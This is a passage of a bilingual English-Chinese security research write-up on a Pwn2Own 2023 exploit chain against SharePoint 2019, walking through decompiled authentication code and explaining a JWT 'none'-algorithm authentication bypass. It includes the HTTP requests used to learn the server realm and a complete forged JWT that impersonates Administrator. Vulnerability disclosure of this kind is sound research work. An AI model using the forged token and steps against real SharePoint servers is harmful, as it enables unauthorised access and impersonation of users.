Brief 短
I may have achieved successful exploitation of a SharePoint target during Pwn2Own Vancouver 2023. While the live demonstration lasted only approximately 30 seconds, it is noteworthy that the process of discovering and crafting the exploit chain consumed nearly a year of meticulous effort and research to complete the full exploit chain.
我可能已经在 Pwn2Own Vancouver 2023 期间成功利用了 SharePoint 目标。虽然现场演示只持续了大约 30 秒,但值得注意的是,发现和制作漏洞链的过程花费了近一年的细致努力和研究才能完成完整的漏洞利用链。
This exploit chain leverages two vulnerabilities to achieve pre-auth remote code execution (RCE) on the SharePoint server:
此漏洞利用两个漏洞在 SharePoint 服务器上实现预身份验证远程代码执行 (RCE):
- Authentication Bypass – An unauthenticated attacker can impersonate as any SharePoint user by spoofing valid JSON Web Tokens (JWTs), using the
none
signing algorithm to subvert signature validation checks when verifying JWT tokens used for OAuth authentication. This vulnerability has been found right after I started this project for two days.
身份验证绕过 – 未经身份验证的攻击者可以通过欺骗有效的 JSON Web 令牌 (JWT) 来冒充任何 SharePoint 用户,在验证用于 OAuth 身份验证的 JWT 令牌时,使用签名算法破坏none
签名验证检查。这个漏洞是在我开始这个项目两天后发现的。 - Code Injection – A SharePoint user with
Sharepoint Owners
permission can inject arbitrary code by replacing/BusinessDataMetadataCatalog/BDCMetadata.bdcm
file in the web root directory to cause compilation of the injected code into an assembly that is subsequently executed by SharePoint. This vulnerability was found on Feb 2022.
代码注入 – 具有Sharepoint Owners
权限的 SharePoint 用户可以通过替换/BusinessDataMetadataCatalog/BDCMetadata.bdcm
Web 根目录中的文件来注入任意代码,从而将注入的代码编译到随后由 SharePoint 执行的程序集中。该漏洞于 2022 年 2 月被发现。
The specific part of the Authentication Bypass vuln is: it can access to SharePoint API only. So, the most difficult part is to find the post-auth RCE chain that using SP API.
身份验证绕过漏洞的具体部分是:它只能访问 SharePoint API。因此,最困难的部分是找到使用 SP API 的身份验证后 RCE 链。
Affected products/Tested version
受影响的产品/测试版本
- SharePoint 2019
- Tested Version: SharePoint 2019 (16.0.10396.20000) with March 2023 patch (KB5002358 and KB5002357)
测试版本:SharePoint 2019 (16.0.10396.20000) with March 2023 patch(KB5002358 和 KB5002357) - Patch download: 补丁下载:
Vulnerability #1: SharePoint Application Authentication Bypass
漏洞 #1:SharePoint 应用程序身份验证绕过
With the default SharePoint setup configuration, almost every requests send to SharePoint site will require NTLM Auth to process. While analyzing web config file, I’ve realized that there are at least 4 authentication types we can use.
使用默认的 SharePoint 安装配置,发送到 SharePoint 网站的几乎每个请求都需要 NTLM 身份验证才能处理。在分析 Web 配置文件时,我意识到我们至少可以使用 4 种身份验证类型。
Auth Module 身份验证模块 | Handled by class 按类处理 |
---|---|
FederatedAuthentication | SPFederationAuthenticationModule |
SessionAuthentication 会话身份验证 | SPSessionAuthenticationModule |
SPApplicationAuthentication SPApplicationAuthentication(SPApplication身份验证) |
SPApplicationAuthenticationModule |
SPWindowsClaimsAuthentication | SPWindowsClaimsAuthenticationHttpModule |
I started to analyzing these modules one by one, then I’ve found something interesting in the SPApplicationAuthenticationModule.
我开始逐个分析这些模块,然后我在 SPApplicationAuthenticationModule 中发现了一些有趣的东西。
This module registers the SPApplicationAuthenticationModule.AuthenticateRequest()
method for the Http event AuthenticateRequest
:
此模块注册 Http 事件 SPApplicationAuthenticationModule.AuthenticateRequest()
AuthenticateRequest
的方法:
namespace Microsoft.SharePoint.IdentityModel
{
internal sealed class SPApplicationAuthenticationModule : IHttpModule
{
public void Init(HttpApplication context)
{
if (context == null)
{
throw new ArgumentNullException("context");
}
context.AuthenticateRequest += this.AuthenticateRequest;
context.PreSendRequestHeaders += this.PreSendRequestHeaders;
}
//...
}
//...
}
So everytime we try to send HTTP request to SharePoint Site, this method will be called to handle the authentication logic! Take a closer look at the SPApplicationAuthenticationModule.AuthenticateRequest()
method, SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication()
will be called to check if the current URL is permitted to use OAuth as the authentication method:
因此,每次我们尝试向 SharePoint 站点发送 HTTP 请求时,都会调用此方法来处理身份验证逻辑!仔细看看该 SPApplicationAuthenticationModule.AuthenticateRequest()
方法, SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication()
将调用该方法来检查是否允许当前 URL 使用 OAuth 作为身份验证方法:
private void AuthenticateRequest(object sender, EventArgs e)
{
if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) // [1]
{
spidentityReliabilityMonitorAuthenticateRequest.ExpectedFailure(TaggingUtilities.ReserveTag(18990616U), "Not an OAuthRequest.");
//...
}
else
{
bool flag = this.ConstructIClaimsPrincipalAndSetThreadIdentity(httpApplication, context, spfederationAuthenticationModule, out text); // [2]
if (flag)
{
//...
spidentityReliabilityMonitorAuthenticateRequest.Success(null);
}
else
{
//...
OAuthMetricsEventHelper.LogOAuthMetricsEvent(text, QosErrorType.ExpectedFailure, "Can't sign in using token.");
}
//...
}
//...
}
At [1], If the request URL contains one of these patterns, it will be allowed to use OAuth authentication:
在 [1] 中,如果请求 URL 包含以下模式之一,则将允许它使用 OAuth 身份验证:
/_vti_bin/client.svc
/_vti_bin/listdata.svc
/_vti_bin/sites.asmx
/_api/
/_vti_bin/ExcelRest.aspx
/_vti_bin/ExcelRest.ashx
/_vti_bin/ExcelService.asmx
/_vti_bin/PowerPivot16/UsageReporting.svc
/_vti_bin/DelveApi.ashx
/_vti_bin/DelveEmbed.ashx
/_layouts/15/getpreview.ashx
/_vti_bin/wopi.ashx
/_layouts/15/userphoto.aspx
/_layouts/15/online/handlers/SpoSuiteLinks.ashx
/_layouts/15/wopiembedframe.aspx
/_vti_bin/homeapi.ashx
/_vti_bin/publiccdn.ashx
/_vti_bin/TaxonomyInternalService.json/GetSuggestions
/_layouts/15/download.aspx
/_layouts/15/doc.aspx
/_layouts/15/WopiFrame.aspx
When the above condition is satisfied, SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
will invoked to continue processing the authentication request at [2].
当满足上述条件时, SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
将在 [2] 处调用以继续处理身份验证请求。
The relevant code for the SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
method is shown below:
该 SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
方法的相关代码如下所示:
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
//...
if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
{
ULS.SendTraceTag(832154U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Medium, "SPApplicationAuthenticationModule: Couldn't find a valid token in the request.");
return false;
}
//...
if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
{
SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
}
JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
//...
this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
//...
}
Note: The code at [4] and [5] will be discussed at a much later stage.
注意:[4] 和 [5] 中的代码将在稍后阶段讨论。
At [3], the SPApplicationAuthenticationModule.TryExtractAndValidateToken()
method will try to parse the authentication token from HTTP request and perform validation checks:
在 [3] 中,该 SPApplicationAuthenticationModule.TryExtractAndValidateToken()
方法将尝试解析来自 HTTP 请求的身份验证令牌并执行验证检查:
private bool TryExtractAndValidateToken(HttpContext httpContext, out SPIncomingTokenContext tokenContext, out SPIdentityProofToken identityProofToken)
{
//...
if (!this.TryParseOAuthToken(httpContext.Request, out text)) // [6]
{
return false;
}
//...
if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && this.TryParseProofToken(httpContext.Request, out text2))
{
SPIdentityProofToken spidentityProofToken = SPIdentityProofTokenUtilities.CreateFromJsonWebToken(text2, text); // [7]
}
if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && !string.IsNullOrEmpty(text2))
{
Microsoft.IdentityModel.Tokens.SecurityTokenHandler identityProofTokenHandler = SPClaimsUtility.GetIdentityProofTokenHandler();
StringBuilder stringBuilder = new StringBuilder();
using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder))
{
identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken); // [8]
}
SPIdentityProofToken spidentityProofToken2 = null;
using (XmlReader xmlReader = XmlReader.Create(new StringReader(stringBuilder.ToString())))
{
spidentityProofToken2 = identityProofTokenHandler.ReadToken(xmlReader) as SPIdentityProofToken;
}
ClaimsIdentityCollection claimsIdentityCollection = null;
claimsIdentityCollection = identityProofTokenHandler.ValidateToken(spidentityProofToken2); // [9]
tokenContext = new SPIncomingTokenContext(spidentityProofToken2.IdentityToken, claimsIdentityCollection);
identityProofToken = spidentityProofToken2;
tokenContext.IsProofTokenScenario = true;
SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext); // [10]
SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthIdentityType(tokenContext, httpContext.Request);
SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthTokenType(tokenContext, httpContext.Request);
}
}
At [6], the TryParseOAuthToken()
method will attempt to retrieve the OAuth access token from HTTP request from either the query string parameter access_token
or the Authorization
header, and store it into the text
variable.
在 [6] 处,该 TryParseOAuthToken()
方法将尝试从查询字符串参数 access_token
或 Authorization
标头的 HTTP 请求中检索 OAuth 访问令牌,并将其存储到变量中 text
。
For example, the HTTP request will resemble the following:
例如,HTTP 请求将类似于以下内容:
GET /_api/web/ HTTP/1.1
Connection: close
Authorization: Bearer <access_token>
User-Agent: python-requests/2.27.1
Host: sharepoint
Similarly, after extracting the OAuth access token from the HTTP request, the TryParseProofToken()
method will attempt to retrieve the proof token from HTTP request from either the query string parameter prooftoken
or the X-PROOF_TOKEN
header, and store it into the text2
variable.
同样,从 HTTP 请求中提取 OAuth 访问令牌后,该 TryParseProofToken()
方法将尝试从查询字符串参数 prooftoken
或 X-PROOF_TOKEN
标头的 HTTP 请求中检索证明令牌,并将其存储到变量中 text2
。
At [7], both tokens are then passed to the SPIdentityProofTokenUtilities.CreateFromJsonWebToken()
method as arguments.
在 [7] 处,两个标记都作为参数传递给 SPIdentityProofTokenUtilities.CreateFromJsonWebToken()
该方法。
The relevant code of the SPIdentityProofTokenUtilities.CreateFromJsonWebToken()
method is shown below:
该 SPIdentityProofTokenUtilities.CreateFromJsonWebToken()
方法的相关代码如下图所示:
internal static SPIdentityProofToken CreateFromJsonWebToken(string proofTokenString, string identityTokenString)
{
RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler nonValidatingJsonWebSecurityTokenHandler = new RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler();
SecurityToken securityToken = nonValidatingJsonWebSecurityTokenHandler.ReadToken(proofTokenString); // [11]
if (securityToken == null)
{
ULS.SendTraceTag(3536843U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Proof token is not a valid JWT string.");
throw new InvalidOperationException("Proof token is not JWT");
}
SecurityToken securityToken2 = nonValidatingJsonWebSecurityTokenHandler.ReadToken(identityTokenString); // [12]
if (securityToken2 == null)
{
ULS.SendTraceTag(3536844U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Identity token is not a valid JWT string.");
throw new InvalidOperationException("Identity token is not JWT");
}
//...
JsonWebSecurityToken jsonWebSecurityToken = securityToken2 as JsonWebSecurityToken;
if (jsonWebSecurityToken == null || !jsonWebSecurityToken.IsAnonymousIdentity())
{
spidentityProofToken = new SPIdentityProofToken(securityToken2, securityToken);
try
{
new SPAudienceValidatingIdentityProofTokenHandler().ValidateAudience(spidentityProofToken); // [13]
return spidentityProofToken;
}
//...
}
//...
}
At a quick glance, it can be inferred that both the access token (passed as identityTokenString
parameter) and the proof token (passed as proofTokenString
parameter) are expected to be JSON Web Tokens (JWTs).
一目了然,可以推断出访问令牌(作为参数传递)和证明令牌(作为 identityTokenString
proofTokenString
参数传递)都应是 JSON Web 令牌 (JWT)。
An instance of the RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler
type is initialized to perform token parsing and validation before calling the nonValidatingJsonWebSecurityTokenHandler.ReadToken()
method at [11].
在调用位于 [11] nonValidatingJsonWebSecurityTokenHandler.ReadToken()
的方法之前,初始化该 RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler
类型的实例以执行令牌解析和验证。
The RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler
type is a sub-type of JsonWebSecurityTokenHandler
. Since RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler
does not override the ReadToken()
method, calling nonValidatingJsonWebSecurityTokenHandler.ReadToken()
method is equivalent to calling JsonWebSecurityTokenHandler.ReadToken()
(wrapper function for the JsonWebSecurityTokenHandler.ReadTokenCore()
method).
该 RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler
类型是 JsonWebSecurityTokenHandler
的子类型。由于 RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler
不重写 ReadToken()
方法,因此调用 nonValidatingJsonWebSecurityTokenHandler.ReadToken()
method 等同于调用 JsonWebSecurityTokenHandler.ReadToken()
( JsonWebSecurityTokenHandler.ReadTokenCore()
方法的包装函数)。
The relevant code of JsonWebSecurityTokenHandler
that validates the access and proof tokens at [11] and at [12] respectively is shown below:
JsonWebSecurityTokenHandler
分别在 [11] 和 [12] 处验证访问令牌和证明令牌的相关代码如下所示:
public virtual SecurityToken ReadToken(string token)
{
return this.ReadTokenCore(token, false);
}
public virtual bool CanReadToken(string token)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
return this.IsJsonWebSecurityToken(token);
}
private bool IsJsonWebSecurityToken(string token)
{
return Regex.IsMatch(token, "^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$");
}
private SecurityToken ReadTokenCore(string token, bool isActorToken)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
if (!this.CanReadToken(token)) // [14]
{
throw new SecurityTokenException("Unsupported security token.");
}
string[] array = token.Split(new char[] { '.' });
string text = array[0]; // JWT Header
string text2 = array[1]; // JWT Payload (JWS Claims)
string text3 = array[2]; // JWT Signature
Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.Ordinal);
dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));
Dictionary<string, string> dictionary2 = new Dictionary<string, string>(StringComparer.Ordinal);
dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));
string text4;
dictionary.TryGetValue("alg", out text4); // [15]
SecurityToken securityToken = null;
if (!StringComparer.Ordinal.Equals(text4, "none")) // [16]
{
if (string.IsNullOrEmpty(text3))
{
throw new SecurityTokenException("Missing signature.");
}
SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);
SecurityToken securityToken2;
base.Configuration.IssuerTokenResolver.TryResolveToken(signingKeyIdentifier, out securityToken2);
if (securityToken2 == null)
{
throw new SecurityTokenException("Invalid JWT token. Could not resolve issuer token.");
}
securityToken = this.VerifySignature(string.Format(CultureInfo.InvariantCulture, "{0}.{1}", new object[] { text, text2 }), text3, text4, securityToken2);
}
//...
}
At [14], the JsonWebSecurityTokenHandler.CanReadToken()
method is first invoked to ensure that the token
matches the regular expression ^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$
. Basically, this checks that the user-supplied token
resembles a valid JWT token with each portion (i.e. header, payload and signature) being Base64-encoded.
在 [14] 中,首先调用该 JsonWebSecurityTokenHandler.CanReadToken()
方法以确保与正则表达式 token
^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$
匹配。基本上,这会检查用户提供的 token
令牌是否类似于有效的 JWT 令牌,每个部分(即标头、有效负载和签名)都经过 Base64 编码。
Afterwards, the header, payload and signature portions of the JWT token are extracted. Base64-decoding is then performed on header and payload portions before parsing them as JSON objects.
然后,提取 JWT 令牌的标头、有效负载和签名部分。然后,在将标头和有效负载部分解析为 JSON 对象之前,对它们执行 Base64 解码。
At [15], the alg
field (i.e. signing algorithm) is extracted from the header portion. For example, the value for the alg
field is HS256
if the Base64-decoded header portion is:
在 [15] 处, alg
字段(即签名算法)是从标头部分提取的。例如, alg
HS256
如果 Base64 解码的标头部分为:
{
"alg": "HS256",
"typ": "JWT"
}
The first part of the root cause of this authentication bypass vulnerability can be found at [16] – there is a logic flaw when validating the signature of the JWT token provided. If the alg
field is not set to none
, the method VerifySignature()
is called to verify the signature of JWT token provided. However, if the alg
is none
, the signature validation check in JsonWebSecurityTokenHandler.ReadTokenCore()
is skipped!
此身份验证绕过漏洞的根本原因的第一部分可以在 [16] 中找到 – 在验证所提供的 JWT 令牌的签名时存在逻辑缺陷。如果该字段未设置为 none
,则调用该 alg
方法来 VerifySignature()
验证提供的 JWT 令牌的签名。但是,如果 alg
是 none
,则跳过签名验证签入 JsonWebSecurityTokenHandler.ReadTokenCore()
!
Back at [13], SPAudienceValidatingIdentityProofTokenHandler.ValidateAudience()
performs validation checks against the aud
(audience) field from the header portion of the proof token supplied.
回到 [13], SPAudienceValidatingIdentityProofTokenHandler.ValidateAudience()
对所提供的证明令牌标头部分的 aud
(audience) 字段执行验证检查。
Below is an example of a valid value for the aud
field:
下面是该 aud
字段的有效值示例:
00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af
The format of the aud
field is <client_id>/<hostname>@<realm>
:
aud
字段的格式为 <client_id>/<hostname>@<realm>
:
- The static value
00000003-0000-0ff1-ce00-000000000000
is accepted as a valid<client_id>
for all SharePoint on-premise instances.
静态值被接受为对所有 SharePoint 本地实例的有效<client_id>
值00000003-0000-0ff1-ce00-000000000000
。 <hostname>
refers to the hostname of the SharePoint server (target) for the current HTTP request (e.g.splab
)
<hostname>
指当前 HTTP 请求的 SharePoint 服务器(目标)的主机名(例如splab
)- The
<realm>
(e.g.3b80be6c-6741-4135-9292-afed8df596af
) can be obtained from theWWW-Authenticate
response header by sending a request to/_api/web/
with headerAuthorization: Bearer
.
(<realm>
例如3b80be6c-6741-4135-9292-afed8df596af
)可以通过向/_api/web/
with headerAuthorization: Bearer
发送请求来从WWW-Authenticate
响应标头中获取。
Below is an example of the HTTP request used to obtain the <realm>
required to construct a valid value for the aud
field:
下面是用于获取 <realm>
required 的 HTTP 请求的示例, aud
以构造字段的有效值:
GET /_api/web/ HTTP/1.1
Connection: close
User-Agent: python-requests/2.27.1
Host: sharepoint
Authorization: Bearer
The HTTP response will include the <realm>
in the WWW-Authenticate
response header:
HTTP 响应将在 WWW-Authenticate
响应标头中包含: <realm>
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
//...
WWW-Authenticate: Bearer realm="3b80be6c-6741-4135-9292-afed8df596af",client_id="00000003-0000-0ff1-ce00-000000000000",trusted_issuers="00000003-0000-0ff1-ce00-000000000000@3b80be6c-6741-4135-9292-afed8df596af"
After that, a new SPIdentityProofToken
will be created from user-supplied access and proof tokens, and the control flows to [8]. At [8], identityProofTokenHandler
is returned by the SPClaimsUtility.GetIdentityProofTokenHandler()
method:
之后,将从用户提供的访问和证明令牌创建一个新的 SPIdentityProofToken
令牌,控制权将流向 [8]。在 [8] 处, identityProofTokenHandler
由以下 SPClaimsUtility.GetIdentityProofTokenHandler()
方法返回:
internal static SecurityTokenHandler GetIdentityProofTokenHandler()
{
//...
return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();
}
The implementation of the SPClaimsUtility.GetIdentityProofTokenHandler()
method implies that the identityProofTokenHandler
returned will be an instance of SPIdentityProofTokenHandler
.
At [9], identityProofTokenHandler.ValidateToken(spidentityProofToken2)
will then flow to SPIdentityProofTokenHandler.ValidateTokenIssuer()
.
在 [9] 处, identityProofTokenHandler.ValidateToken(spidentityProofToken2)
将流向 SPIdentityProofTokenHandler.ValidateTokenIssuer()
。
In the SPIdentityProofTokenHandler.ValidateTokenIssuer()
method, notice that if the token
parameter is a hashed proof token, validation of the issuer
field will be skipped!
请注意 SPIdentityProofTokenHandler.ValidateTokenIssuer()
,在该方法中 token
,如果参数是哈希证明令牌,则将跳过 issuer
该字段的验证!
internal void ValidateTokenIssuer(JsonWebSecurityToken token)
{
bool flag = VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenHashedProofToken);
if (flag && SPIdentityProofTokenUtilities.IsHashedProofToken(token))
{
ULS.SendTraceTag(21559514U, SPJsonWebSecurityBaseTokenHandler.Category, ULSTraceLevel.Medium, "Found hashed proof tokem, skipping issuer validation.");
return;
}
//...
this.ValidateTokenIssuer(token.ActorToken.IssuerToken as X509SecurityToken, token.ActorToken.Issuer);
}
The implementation of the SPIdentityProofTokenUtilities.IsHashedProofToken()
method is shown below:
该 SPIdentityProofTokenUtilities.IsHashedProofToken()
方法的实现如下图所示:
internal static bool IsHashedProofToken(JsonWebSecurityToken token)
{
if (token == null)
{
return false;
}
if (token.Claims == null)
{
return false;
}
JsonWebTokenClaim singleClaim = token.Claims.GetSingleClaim("ver");
return singleClaim != null && singleClaim.Value.Equals(SPServerToServerProtocolConstants.HashedProofToken, StringComparison.InvariantCultureIgnoreCase);
}
Setting the ver
field to hashedprooftoken
in the payload portion of the JWT token makes the SPIdentityProofTokenUtilities.IsHashedProofToken()
method return true
, allowing the issuer
field validation check to be subverted.
将 ver
字段设置为 hashedprooftoken
JWT 令牌的有效负载部分会使 SPIdentityProofTokenUtilities.IsHashedProofToken()
方法返回 true
,从而允许 issuer
破坏字段验证检查。
Back to [10], SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext)
is called to verify the hash for current URL. The required value to be stored in the endpointurl
field in the JWT payload portion can be derived by computing:
返回 [10], SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext)
调用以验证当前 URL 的哈希值。可以通过计算得出要存储在 JWT 有效负载部分的 endpointurl
字段中的所需值:
base64_encode(sha256(request_url))
After executing SPApplicationAuthenticationModule.TryExtractAndValidateToken()
, the code flows to the SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
method and reaches [4]:
执行 SPApplicationAuthenticationModule.TryExtractAndValidateToken()
后,代码流向 SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
该方法并到达 [4]:
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
//...
if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
//...
if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
{
SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
}
JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
//...
this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
If the spincomingTokenContext.TokenType
is not spincomingTokenContext.Loopback
and the current HTTP request is not encrypted by SSL, an exception will be thrown. As such, the isloopback
claim needs to be set to true
within the spoofed JWT token to make spincomingTokenContext.TokenType == spincomingTokenContext.Loopback
, thereby ensuring that no exceptions are thrown and the code continues to execute normally.
如果不是, spincomingTokenContext.TokenType
spincomingTokenContext.Loopback
并且当前 HTTP 请求未通过 SSL 加密,则会引发异常。因此,需要将 isloopback
声明设置为在欺骗性的 JWT 令牌 true
内才能发出 spincomingTokenContext.TokenType == spincomingTokenContext.Loopback
,从而确保不会抛出异常并且代码继续正常执行。
Subsequently, at [5], the token will be passed into SPApplicationAuthenticationModule.SignInProofToken()
.
随后,在 [5] 处,令牌将被传递到 SPApplicationAuthenticationModule.SignInProofToken()
.
private void SignInProofToken(HttpContext httpContext, JsonWebSecurityToken token, SPIdentityProofToken proofIdentityToken)
{
SecurityContext.RunAsProcess(delegate
{
Uri contextUri = SPAlternateUrl.ContextUri;
SPAuthenticationSessionAttributes? spauthenticationSessionAttributes = new SPAuthenticationSessionAttributes?(SPAuthenticationSessionAttributes.IsBrowser);
SecurityToken securityToken = SPSecurityContext.SecurityTokenForProofTokenAuthentication(proofIdentityToken.IdentityToken, proofIdentityToken.ProofToken, spauthenticationSessionAttributes);
IClaimsPrincipal claimsPrincipal = SPFederationAuthenticationModule.AuthenticateUser(securityToken);
//...
});
}
This method will create an instance of SecurityTokenForContext
from the user-supplied JWT token and send it to Security Token Service (STS) for authentication. This is the most important part of the whole vulnerability – if the STS accepts the spoofed JWT token, then it is possible to impersonate as any SharePoint user!
此方法将从用户提供的 JWT 令牌创建一个实例 SecurityTokenForContext
,并将其发送到安全令牌服务 (STS) 进行身份验证。这是整个漏洞中最重要的部分 – 如果 STS 接受欺骗性的 JWT 令牌,那么就可以冒充任何 SharePoint 用户!
For brevity, the spoofed JWT token should be resemble the following:
为简洁起见,欺骗性的 JWT 令牌应如下所示:
eyJhbGciOiAibm9uZSJ9.eyJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAiLCJhdWQiOiAgIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMC9zcGxhYkAzYjgwYmU2Yy02NzQxLTQxMzUtOTI5Mi1hZmVkOGRmNTk2YWYiLCJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCIsIm5hbWVpZCI6ImMjLnd8QWRtaW5pc3RyYXRvciIsICAgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vc2hhcmVwb2ludC8yMDA5LzA4L2NsYWltcy91c2VybG9nb25uYW1lIjoiQWRtaW5pc3RyYXRvciIsICAgImFwcGlkYWNyIjoiMCIsICJpc3VzZXIiOiIwIiwgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vb2ZmaWNlLzIwMTIvMDEvbmFtZWlkaXNzdWVyIjoiQWNjZXNzVG9rZW4iLCAgInZlciI6Imhhc2hlZHByb29mdG9rZW4iLCJlbmRwb2ludHVybCI6ICJGVkl3QldUdXVXZnN6TzdXWVJaWWlvek1lOE9hU2FXTy93eURSM1c2ZTk0PSIsIm5hbWUiOiJmI3h3fEFkbWluaXN0cmF0b3IiLCJpZGVudGl0eXByb3ZpZGVyIjoid2luZE93czphYWFhYSIsInVzZXJpZCI6ImFzYWFkYXNkIn0.YWFh
The Base64-decoded portions of the spoofed JWT token is shown below:
欺骗性 JWT 令牌的 Base64 解码部分如下所示:
- Header:
{"alg": "none"}
页眉:{"alg": "none"}
- Payload:
{"iss":"00000003-0000-0ff1-ce00-000000000000","aud": "00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af","nbf":"1673410334","exp":"1693410334","nameid":"c#.w|Administrator", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"Administrator", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "FVIwBWTuuWfszO7WYRZYiozMe8OaSaWO/wyDR3W6e94=","name":"f#xw|Administrator","identityprovider":"windOws:aaaaa","userid":"asaadasdIn0
有效载荷:{"iss":"00000003-0000-0ff1-ce00-000000000000","aud": "00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af","nbf":"1673410334","exp":"1693410334","nameid":"c#.w|Administrator", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"Administrator", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "FVIwBWTuuWfszO7WYRZYiozMe8OaSaWO/wyDR3W6e94=","name":"f#xw|Administrator","identityprovider":"windOws:aaaaa","userid":"asaadasdIn0
Note that the nameid
field will need to be modified to impersonate the corresponding user in the SharePoint site.
请注意,需要修改该 nameid
字段以模拟 SharePoint 网站中的相应用户。
So we’ve got an authentication bypass, but it may require to know at least one username exists in the SharePoint site. If not, SharePoint Site will reject the authentication and we can’t access to any feature. At first, I thought that problem was easy to solve because the user “Administrator” exists in every windows server 2022 instance. But it’s not! . . Yes, we can assume that user “Administrator” exists in every windows server 2022 instance, but that’s not what we need. With a correctly configured SharePoint instance:
因此,我们有一个身份验证绕过,但它可能需要知道 SharePoint 网站中至少存在一个用户名。否则,SharePoint 网站将拒绝身份验证,并且我们无法访问任何功能。起初,我认为这个问题很容易解决,因为用户“管理员”存在于每个 Windows Server 2022 实例中。但事实并非如此!..是的,我们可以假设每个 Windows Server 2022 实例中都存在用户“管理员”,但这不是我们需要的。使用正确配置的 SharePoint 实例:
- The SharePoint Service user should not be a “built-in administrators”
SharePoint 服务用户不应是“内置管理员” - Also the Site Admin user should not be the “built-in administrators”
